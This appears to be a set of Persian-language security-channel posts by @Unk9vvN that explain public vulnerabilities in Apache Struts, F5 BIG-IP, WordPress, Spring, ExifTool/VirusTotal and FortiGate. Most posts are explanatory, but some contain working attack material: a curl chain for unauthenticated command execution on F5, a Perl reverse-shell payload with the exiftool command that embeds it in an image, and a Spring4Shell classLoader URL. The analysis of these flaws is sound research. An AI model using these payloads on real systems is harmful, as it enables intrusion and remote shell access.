#Apache Struts #RCE #CVE-2017-5638
در بسیاری از تست های بلک باکس محصولات وب بیس یک نقطه ضعف خود نمایی میکند, آن نقطه ضعف عدم پیلود ریزی پیشرفته بصورت هوشمند است, یعنی معمولا برای یک #RCE ما از پیلودهای پیشفرض استفاده میکنیم برای مثال بر روی آسیب پذیری که پردازش Content-Type رخ داده پیلود مورد نظر اول مقدار multipart/form-data ارسال میکنه تا به محل پردازشی این نوع داده برسه , در مرحله بعد یک متغیر با نام dm ساخته و بواسطه اون فراخوانی میشه

@ofnl.OgnlContext@DEFAULT_MEMBER_ACCESS

در این قسمت با استفاده از فریمورک OGNL در پلتفرم Struts 2 یک دسترسی کاربر شرط شده که اگر بود یک Context ایجاد شده و بواسطه اون متغیری با نام ognlUtil پروسه initial کردن خود رو پش برده تا به پارامتر cmd رسیده و دستور مورد نظر اینجا برای پارس شدن ارسال خواهد شد,

در ادامه پیلود با استفاده از

@java.lang.System@getProperty.(os.name)

اقدام به تشخیص سیستم عامل میکنه و طبق Result که دریافت میکنه میاد مشخص کنه که کدام یک از Syntax خط فرمان رو اجرا خواهد کرد,

https://commons.apache.org/proper/commons-ognl/
@Unk9vvN
#F5_iControl #REST Unauthenticated RCE (#SSRF) #CVE_2021_22986
باز هم سرویس های API این بار REST بر روی محصولات BIG-IP که یک آسیب پذیری در سطح Critical در نسخه 16.0x که میتواند منجر به اجرای کد بر روی سرور مربوطه شود، نوع آسیب پذیری SSRF بوده و کد بهره برداری زیر میباشد.

┌──(unk9vvn㉿avi)-[~]
└─$ token=`curl -i -k -s -X $'POST' -H "Host: $TARGET" -H $'Accept-Language: en' -H $'Authorization: Basic YWRtaW46' -H $'Content-Type: application/json' -H $'Content-Length: 109' -H $'Connection: close' -b $'BIGIPAuthCookie=1234' --data-binary $'{\"username\":\"admin\",\x0d\x0a\"userReference\":{},\x0d\x0a\"loginReference\":{\"link\":\"http://$TARGET/mgmt/shared/gossip\"}\x0d\x0a}' "http://$TARGET/mgmt/shared/authn/login" | grep "{" | jq .token.token| sed 's/"//g'`;echo $token;curl -s -H "X-F5-Auth-Token: $token" -H "Content-Type: application/json" "http://$TARGET/mgmt/tm/util/bash" -d '{"command":"run","utilCmdArgs":"-c id"}' | jq .commandResult

https://support.f5.com/csp/article/K03009991
@Unk9vvN
#SQLi in #Wordpress Core #CVE_2022_21661
هجده ساعت پیش یک آسیب پذیری SQL Injection یا تزریق کد SQL، برای هسته سیستم مدیریت محتوای Wordpress عمومی شد که در نسخه 5.8.2 قابلیت بهره برداری داشته و در نسخه جدید یعنی 5.8.3 وصله یا اصطلاحا Patch شده.

آسیب پذیری از اونجایی منشا میگیره که تابع clean_queryget_sql_for_clause زمانی که میخواد یک Append در خصوص ورودی Query خود انجام دهد، یکبار مقدار terms خود را به تابع clean_query پاس میدهد که وظیفه این تابع تصدیق میشود که مقدار terms در term_taxonomy_id قرار دارد یا خیر،

در ادامه مقدار پارامتر field در شرطی مقایسه میشه با مقدار متغییر resulting_field$ که اینجا شرط مربوطه آسیب پذیر هستش به Type Juggling که یک آسیب پذیری مبنی بر دور زدن نتیجه یک شرط است،

اما در ادامه مقدار پارامتر terms بصورت آرایه خوانده و در آرایه

$query['terms']

پارس داده میشود که عملا تزریق کد SQL در همینجا و در اثر نبود فیلترینگ صحیح ورودی پارامتر، رخ خواهد داد.

https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/
@Unk9vvN
#Spring4Shell #CVE_2022_22963
چند وقتی هستش که یک آسیب پذیری از Spring Framework منتشر شده که مبتنی بر Java 8 و بر بستر Tomcat میتوانه مورد بهره برداری قرار بگیره،

این آسیب پذیری مبتنی بر deserialization نا امن مقادیر String بوده و این عملکرد نا امن بر بستر PostMappning@ رخ خواهد داد و چون مقادیر دریافتی Request بصورت POJO یا Plain Old Java Object پارس میشه و با استفاده از Setter تنظیم میشه، میتوانه خطر آفرین باشه.

حال اگر مقدار پارامتر دریافتی که بصورت POJO پارس شده، فراخوان یک کلاس باشه، اینجا امکان پیاده سازی یک زنجیره فراخوانی و تنظیم میتونه اتفاق بی افته و مقادیر فراخوانی موجبات write یک payload در یک فایل jsp رو فراهم بکنه، برای مثال:

http://localhost/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test

حالا در جریان ترسیم یک زنجیره حمله، اول میتونه یه پیلود RCE تنظیم بشه و در ادامه فایل فرمت jsp به عنوان suffix و همینطور یه directory و prefix که میبایست shell قرار بگیره و نهایتا مقدار fileDateFormat که میبایست خالی قرار بگیره...

POC
@Unk9vvN
#CVE_2021_22204 #VirusTotal #RCE
مثل اینکه سرویس آنلاین VirusTotal از ابزار Exiftool استفاده میکرده که برای این ابزار، در خصوص پارس فایل فرمت DjVu یک آسیب پذیری RCE با شناسه CVE-2021-22204 ثبت شده بوده که بدلیل بروز رسانی نکردن ابزار، بر روی سرور VirusTotal این وبسایت مورد نفوذ قرار گرفته است.

(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")

کاری که فایل بارگزاری شده انجام میدهد این است که ما یک تگ جدید روی فایل با نام HasselbladExif و بایت های 0xc51b بنویسیم تا آن را در فایل جدید خود شناسایی کنیم. سپس میتوانیم آن را در داخل هر فایلی قرار دهیم. در نهایت فایل آماده djvu, را با فایل فرمت دیگری مثل JPEG ترکیب میکنیم که اینبار بواسطه Exiftool انجام میشه.

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

https://www.cysrc.com/blog/virus-total-blog/
@Unk9vvN
#Frotigate #RCE #CVE-2024-21762
یکی از محصولات شرکت Fortinet که تولید کننده محصولات امنیت سایبری است، با نام FortiGate SSL VPN دارای یک آسیب پذیری باینری بوده که امکان اجرای کد از راه دور را میدهد.

نوع آسیب پذیری out-of-bounds write است به معنی نوشتن خارج از فرایند اجرای اصلی برنامه، که پیش از احراز امکان رخداد دارد.

مشکل در توابع Parser پروتکل HTTP است که بواسطه دریافت نوع داده مخرب، فرایند تخریب حافظه اتفاق می افتد، این نوع داده مخرب در Header با نام Chunked است که یک Transfer Encoding محسوب میشود، در توابع پارسر پروتکل.

یک حلقه while وجود دارد که در صورت تایید شرط مبنی بر کوچکتر بودن مقدار iVar3 از 1 ، param_1 مقدار دهی میشود و در مرحله بعد مقدار در تابع FUN_01707e10__ap_getline فراخوانی خواهد شد.

در انتهای مقدار Header کاراکتر های 0x0d و 0x0a را write میکند تا کاراکتر های CRLF را در لایه نرم افزار اعمال کند، اما با قرار دادن مقدار 0 برای طول کاراکتر chunked ، یک حلقه while اجرا میشود که مقدار param_1 را + 1 کرده و نهایتا در bVar2 میریزد.

@Unk9vvN